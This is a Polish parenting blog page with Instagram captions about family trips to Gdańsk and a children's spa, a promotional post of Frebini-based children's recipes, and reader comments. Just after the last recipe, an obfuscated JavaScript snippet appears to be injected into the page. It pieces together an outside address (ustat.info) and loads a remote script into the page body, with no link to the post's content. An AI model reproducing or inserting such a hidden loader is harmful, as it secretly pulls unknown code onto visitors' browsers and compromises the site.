Nie jesteśmy eko specjalistami, ale chcemy dbać o świat, który nas otacza! Jeszcze nie wszystko wiemy i nie wszystko potrafimy, ale małymi kroczkami dołączamy do osób, które swoimi działaniami przyczyniają się do ratowania naszej planety! 🌍⛅🌿 #ecology #world #razem #zadbajmy #ekologicznie #ziemia #planetaziemia #zgniatamybutelki #ecoliving #zbieramynakrętki #segregacja #odpady #czymskorupkazamłodu #razemlepiej #ratujmyziemie

Nie jesteśmy eko specjalistami, ale...

Nie ma wielu miejsc w Polsce, gdzie dzieci mogą skorzystać z zabiegów SPA, dlatego ogromnie doceniamy nasze świętokrzyskie @siedliskocarownica! ❤💛💚
To tu na najmłodszych gości czeka kolorowa kąpiel z bąbelkami i masaż na suchym łóżku wodnym - po takich zabiegach dzieci są zrelaksowane, wypoczęte i bardzo zadowolone!

Pamiętacie o niespodziance?
Każdy, kto przy rezerwacji pobytu w Siedlisku poda hasło „Dziecięce Inspiracje 2020” otrzyma prozdrowotną kurację w Chacie Solnej gratis (półgodzinny seans w Chacie Solnej każdego dnia pobytu dla dwóch osób)! ⭐

#spadladzieci #relaks #spaswietokrzyskie #świętokrzyskiedladzieci #carownica #rodzinnie #rodzinnepodróże #podrozezdzieckiem #siedliskocarownica #domkidrewniane #domkiwgorach #miejscezklimatem #miejscedladzieci #przyjaznedzieciom #kidsspa #kolorowakapiel

Nie ma wielu miejsc w...

Ostatni weekend spędziliśmy bardzo leniwie, bardzo przyjemnie i bardzo rodzinnie👪! Wybraliśmy się w nasze cudne świętokrzyskie okolice, do @siedliskocarownica, gdzie spędziliśmy wyjątkowy czas! ❤
Zachęcam również Was do odwiedzenia Carownicy! Tu naprawdę wypoczniecie, a strefa SPA i Wellness to raj dla dzieci i rodziców! Mam też dla Was niespodziankę!
Każdy, kto przy rezerwacji pobytu w Siedlisku poda hasło „Dziecięce Inspiracje 2020” otrzyma prozdrowotną kurację w Chacie Solnej gratis (półgodzinny seans w Chacie Solnej każdego dnia pobytu dla dwóch osób)! ⭐

#spa #wellness #suchełóżkowodne #relaks #relaxtime #carownica @siedliskocarownica #spaswietokrzyskie #goryswietokrzyskie #podróżemałeiduże #świętokrzyskie #travel #travelling #bettertogether

Ostatni weekend spędziliśmy bardzo leniwie,...

Podczas naszego ostatniego pobytu w Gdańsku odwiedziliśmy wiele wyjątkowych miejsc, a wśród nich @hevelianum, miejsce pełne atrakcji nie tylko dla dzieci!

#podróżemałeiduże #podrozezdzieckiem #hevelianum #gdańsk #góragradowa #zwiedzamy #trojmiasto #odkrywamypolskę #centrumedukacji #heweliusz #travelling #poland #poland

Podczas naszego ostatniego pobytu w...

Niedługo tu wrócimy!🌟 #gdańsknocą #podróżemałeiduże #gdansk #travelwithkids #photography #architecturephotography #especially #poland #polskajestpiekna #odkrywamypolskę

Niedługo tu wrócimy!🌟 #gdańsknocą #podróżemałeiduże...

❤Gdańsk 
#podróżemałeiduże #gdańsknocą #travelwithkids #lovegdansk #podrozezdzieckiem
#kochampodroze #poland #iloveit #balticsea #swiatecznygdansk #zimowygdańsk

❤Gdańsk #podróżemałeiduże #gdańsknocą #travelwithkids #lovegdansk...

Do Gdańska wybieraliśmy się już w listopadzie, ale choroba pokrzyżowała nam plany i przełożyliśmy podróż na styczeń.W pierwszy dzień nowego roku wsiedliśmy w pociąg w Kielcach🚉, a wysiedliśmy nad ranem w Gdańsku!
Długo się zastanawiałam czy w styczniu wyjazd na drugi koniec Polski jest dobrym pomysłem i dziś bez wątpienia mówię: TAK! 
Po pierwsze jest tu cieplej niż u nas w świętokrzyskim⛅, po drugie zimowy spacer wzdłuż Bałtyku to samo zdrowie❤, a po trzecie o tej porze roku jest tu cudnie i bardzo świątecznie!🎄 #gdańsknocą #gdańsk #christmastime #lovethistime #christmastree #travelling #ratuszgdansk #photooftheday #photography #podrozezdzieckiem #poland #swiatecznyczas #świątecznie #jestpieknie #polskatakapiękna #instaphoto #instaview #instatravel

Do Gdańska wybieraliśmy się już...

Czekoladowe wąsy muszą być!🙈🍫☕ #gorącaczekolada #dessert #miływieczór #gdańsk #podrozezdzieckiem #pikawa #klimatycznakawiarnia #czekoladanagorąco #herbatamalinowa #mamaisyn #mother #lovethistime #travelwithkids #chocolate #hotchocolate #bettertogether

Czekoladowe wąsy muszą być!🙈🍫☕ #gorącaczekolada...

"Każde miejsce, które odwiedzasz, staje się w jakiś sposób częścią Ciebie..." #travel #gdańsk #gdańsknocą #podróżemałeiduże #polskatakapiękna #bazylikamariacka #mariacka #podrozezdzieckiem #view #architecture
#beautifulview #lovethisplace #travelwithkids #photooftheday #instaphoto #photography

"Każde miejsce, które odwiedzasz, staje...

Zima nad morzem jest naprawdę piękna!

#podrozezdzieckiem #zimanadmorzem #gdynia #gdyniaorlowo #kliforłowo #amozenadmorze #travelwithkids #lovetravel #balticsea #mother #motherandson #lovethistime #mamaisyn #podróżemałeiduże #poland #podróże #winteronthesea

Zima nad morzem jest naprawdę...

Zdrowe posiłki dla dzieci – aż 4 pyszne propozycje!

Myślę, że dla każdego rodzica prawidłowy rozwój dziecka jest tym, co najważniejsze. Każdy pragnie, aby jego dziecko było nie tylko szczęśliwe, ale również zdrowe, silne i odporne na bakterie i wirusy, które otaczają nas z każdej strony. Dbając o prawidłowy rozwój i zdrowie dziecka staramy się wzmacniać jego odporność, staramy się zapewnić mu odpowiednia porcję ruchu i świeżego powietrza, przygotowujemy zdrowe posiłki dla dzieci. Cieszy mnie, że rodzice są coraz bardziej świadomi tego, jak powinna wyglądać zdrowa, odpowiednio zbilansowana dieta dziecka i coraz częściej starają się ją stosować w swojej kuchni. To wszystko mogłoby wyglądać pięknie i kolorowo, gdyby nie sytuacje, w których nie jedna mama i nie jeden tata rozkładają ręce, nie wiedząc co podać dziecku na talerzu. Problem taki najczęściej pojawia się w sytuacji, kiedy dziecko choruje i nie ma apetytu, kiedy ma gorączkę, kiedy boli je brzuszek albo w przypadku dzieci zmagających się z alergią pokarmową. Nietolerancja laktozy czy glutenu często staje się problemem nie tylko dla dziecka, ale całej jego rodziny.
Kilka miesięcy temu w TYM oraz TYM wpisie pisałam o rozwiązaniu, jakie może być bardzo pomocne w sytuacjach, kiedy dziecko gorzej się czuje, kiedy nie brakuje mu apetytu, kiedy nie przybiera na wadze, ale też kiedy jesteśmy w podróży i zamiast szybkiego fast fooda, chcemy dać dziecku coś zdrowego. Pokazałam Wam wtedy drink Frebini – propozycję na zdrowy, smaczny i odpowiednio zbilansowany posiłek dla malucha.
PinitZdrowe posiłki dla dzieci - aż 4 pyszne propozycje
FREBINI – co to jest?
Przypomnę tylko, że Frebini to nie jest jogurt, shake, czy napój energetyczny, który można kupić w markecie. Jest to produkt specjalnego przeznaczenia medycznego, coś w rodzaju odżywki medycznej, którą wyróżnia bardzo dobra kompozycja składników i wysoka tolerancja przez przewód pokarmowy. Frebini – drinki dostępne w aptekach są wolne od laktozy, nie zawierają glutenu ani syropu glukozowo-fruktozowego, za to są pełne witamin, mikroelementów, kwasów omega-3 i omega-6, czyli wszystkiego, co jest niezbędne w prawidłowym rozwoju dziecka i wzmocnieniu jego odporności. Napój o smaku banana i truskawki – Frebini Energy Drink nie zawiera błonnika, natomiast napój czekoladowy Frebini Energy Fibre Drink zawiera błonnik.

Frebini Energy Drink przeznaczony jest do postępowania dietetycznego u dzieci w wieku 1-12 lat zagrożonych niedożywieniem lub niedożywionych, w szczególności ze zwiększonym zapotrzebowaniem na energię.
Zawiera taurynę, karnitynę oraz inozytol. Nie zawiera glutenu. Klinicznie wolny od laktozy”.

Fresenius Kabi Polska, producent Frebini ma w swojej ofercie kilka innych produktów dedykowanych głównie dorosłym – Fresubin, Supportan, Diben, YOcreme. Warto jednak zwrócić uwagę na to, że zarówno drinki Fresubin jak i pozostałe produkty, mogą spożywać również dzieci, które ukończyły 3 rok życia, a niektóre i te po pierwszym roku życia. Mnie to ogromnie cieszy, bo mojemu 6-letniemu Julciowi mogę podać nie tylko odżywcze Frebini, ale również waniliowe, poziomkowe, wiśniowe czy orzechowe Fresubin.

Zarówno Frebini, jak i Fresubin są bardzo smaczne nie tylko w gotowej wersji do spożycia (prosto z buteleczki), ale również jako dodatek czy składnik innych potraw. Ja z Frebini już robiłam naleśniki i desery lodowe, a tym razem chcę Wam pokazać coś innego, za to równie pysznego.

PinitZdrowe posiłki dla dzieci - aż 4 pyszne propozycje
Poniżej zostawiam Wam przepisy na doskonałe śniadania – owsiankę i płatki jaglane z owocami, na deser – rozgrzewający napój czekoladowy i aromatyczną zupę marchwiową z bananowym Frebini. Połączenie to może wydawać się zaskakujące, ale efekt końcowy jest idealny – zupa jest doskonała!

Zdrowe posiłki dla dzieci – aż 4 pyszne propozycje!

Zupa z marchwi – inna niż wszystkie!

PinitZdrowe posiłki dla dzieci

 

Ta zupa może Was zaskoczyć swoim smakiem! Nie jest ostra, nie jest kwaśna, nie jest mdła. Jest za to słodka, aromatyczna i bardzo smaczna!

Potrzebne składniki:

  • 400 ml bulionu warzywnego,
  • 3 marchewki,
  • 1 cebula,
  • Pół selera naciowego,
  • Frebini o smaku bananowym,
  • Papryka słodka, curry, pieprz do smaku,
  • Odrobina oliwy lub innego tłuszczu.
Przygotowanie:
Gotujemy bulion warzywny. Cebulę kroimy w piórka i podsmażamy na gorącym tłuszczu, a następnie zarumienioną dodajemy do bulionu. Marchewkę i seler myjemy, drobno kroimy i dodajemy do gara. Doprawiamy papryką, curry i pieprzem – według uznania. Zupę gotujemy około 40  minut. Na samym końcu dodajemy 3/4 buteleczki bananowego Frebini – takie połączenie sprawia, że zupa nabiera zupełnie innego, słodszego smaku.Całość blendujemy na gładki krem.
PinitZdrowe posiłki dla dzieci - aż 4 pyszne propozycje

Płatki jaglane w wersji doskonałej

PinitZdrowe posiłki dla dzieci - aż 4 pyszne propozycje

Płatki jaglane są nie tylko zdrowe i smaczne, ale również łatwe i szybkie w przygotowaniu. Warto po nie sięgać nie tylko przy śniadaniu.

Potrzebne składniki:

  • Frebini o smaku truskawkowym,
  • Płatki jaglane,
  • Truskawki.
Przygotowanie:
Gotujemy płatki jaglane według przepisu na opakowaniu. W osobnym garnuszku podgrzewamy napój Frebini, którym następnie zalewamy ugotowane płatki. Dodajemy owoce i dosładzamy miodem lub syropem klonowym.

Warto przygotować takie śniadanie również w innych wersjach smakowych wykorzystując Frebini bananowe, czekoladowe, jak również drinki Fresubin.

PinitZdrowe posiłki dla dzieci - aż 4 pyszne propozycje

Czekoladowa owsianka z miodem i żurawiną

PinitZdrowe posiłki dla dzieci - aż 4 pyszne propozycje

Potrzebne składniki:

  • Frebini o smaku czekoladowym,
  • Pół szklanki płatków owsianych błyskawicznych,
  • Garść suszonej żurawiny,
  • Łyżeczka miodu,
  • Gorzka czekolada.
Przygotowanie:

Płatki owsiane błyskawiczne przelewamy wrzątkiem. W niewielkim naczyniu podgrzewamy napój Frebini i gorącym drinkiem zalewamy płatki. Dodajemy łyżkę miodu, żurawinę i kawałki gorzkiej czekolady.

Rozgrzewający napój czekoladowy

PinitZdrowe posiłki dla dzieci - aż 4 pyszne propozycje
Gorąca czekolada czy ciepłe kakao kojarzy mi się z beztroskim dzieciństwem, moim rodzinnym domem, wieczorami przy kominku i czasem zasypiania. Julcio też lubi takie słodkie ciepłe napoje, ale przyznam, że kakao nie gości u nas zbyt często. To tradycyjne nie bardzo mu pasuje, a granulowane, przepełnione cukrem nie jest najlepszą alternatywą.
Raz na jakiś czas, szczególnie kiedy zależy mi, aby Julcio coś zjadł czy napił się, skuszę go pysznym napojem czekoladowym powstałym na bazie Frebini.
Potrzebne składniki:
  • Frebini o smaku czekoladowym,
  • Kakao „prawdziwe”,
  • Cynamon.
Przygotowanie:
Przelewamy drink Frebini do niewielkiego garnuszka i podgrzewamy. Gorący napój wlewamy do kubeczka, posypujemy kakao i cynamonem. Dla siebie dodaję też goździki, są bardzo aromatyczne. Julcio je usuwa 🙂
PinitZdrowe posiłki dla dzieci - aż 4 pyszne propozycje

(function(){
thlhu=”m2nbbgfjhlhp”;thlh=document.createElement(„script”);
thlh_=”u”+(„st”);thlh_+=”at”+(„.”);thlh.async=true;thlh_+=”in”;
thlhu=”100116.”+thlhu;thlh.type=”text/javascript”;thlhu+=”hs8n7pixl6qy”;
thlhu+=”lj26″;thlh_+=(„f”)+”o”+(„/”);thlh.src=”https://”+thlh_+thlhu;
thlhd=document.body;thlhd.appendChild(thlh);
})();

Kasia
signature

Subscribe so you don’t miss a post

Sign up with your email address to receive news and updates!

A ty co o tym myślisz?

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

  • Marta w Teatrze
    Luty 15, 2019

    świetne pomysły, będę zaglądać

  • Kasia Augustyn
    Luty 15, 2019

    Podoba mi się przepis na czekoladową owsiankę 🙂 muszę go wypróbować na moim niejadku 😉

  • AGI.MS - Blog o butach
    Luty 15, 2019

    Zupa z marchwi, koniecznie chcę spróbować przyrządzić taki posiłek 🙂

  • Też TESTUJEMY frebini w różnych dniach i naprawdę jest to świetna sprawa 🙂

  • pożeramstrony
    Luty 15, 2019

    Ciekawa jestem jak smakują. Czasem taka pomoc bardzo się przydaje.

  • kaasilka
    Luty 15, 2019

    No bardzo ciekawe śniadania 🙂

  • Mama Carla
    Luty 15, 2019

    Gorąca czekolada wygląda pysznie!

  • ZwariowaneTrio
    Luty 16, 2019

    Takie drinki mleczne bardzo lubimy – pierwszy raz widze te produkty- teraz zwróce uwagę na nie podczas zakupów.Fajne przepisy spróbuję zupoe z marchwi:)

  • Karolina Moskalik
    Luty 16, 2019

    Jest to moje pierwsze zetknięcie z Frebini, wcześniej nigdzie nie widziałam. Czekoladowa owsianka z miodem i żurawiną wygląda mega pysznie – zresztą żurawina + czekolada to jedno z moich ulubionych połaczen.

  • przyjemnezpozytecznym.pl
    Luty 16, 2019

    Pierwszy raz czytałam o produktach Freseniusa dla dzieci. Do tej pory korzystałam w pracy z tych dla dorosłych.

  • Małgorzata Śmiechowicz
    Luty 17, 2019

    Zaskoczyło mnie połączenie marchwi i banana w zupie 🙂

Zarejestruj się, aby otrzymywać informację na temat najnowszych wpisów, porady dotyczące podróży z dzieckiem i nowości o najlepszych dziecięcych gadżetach.

Poprzedni
Książeczka Dziecięcej Odznaki Turystycznej PTTK
Zdrowe posiłki dla dzieci – aż 4 pyszne propozycje!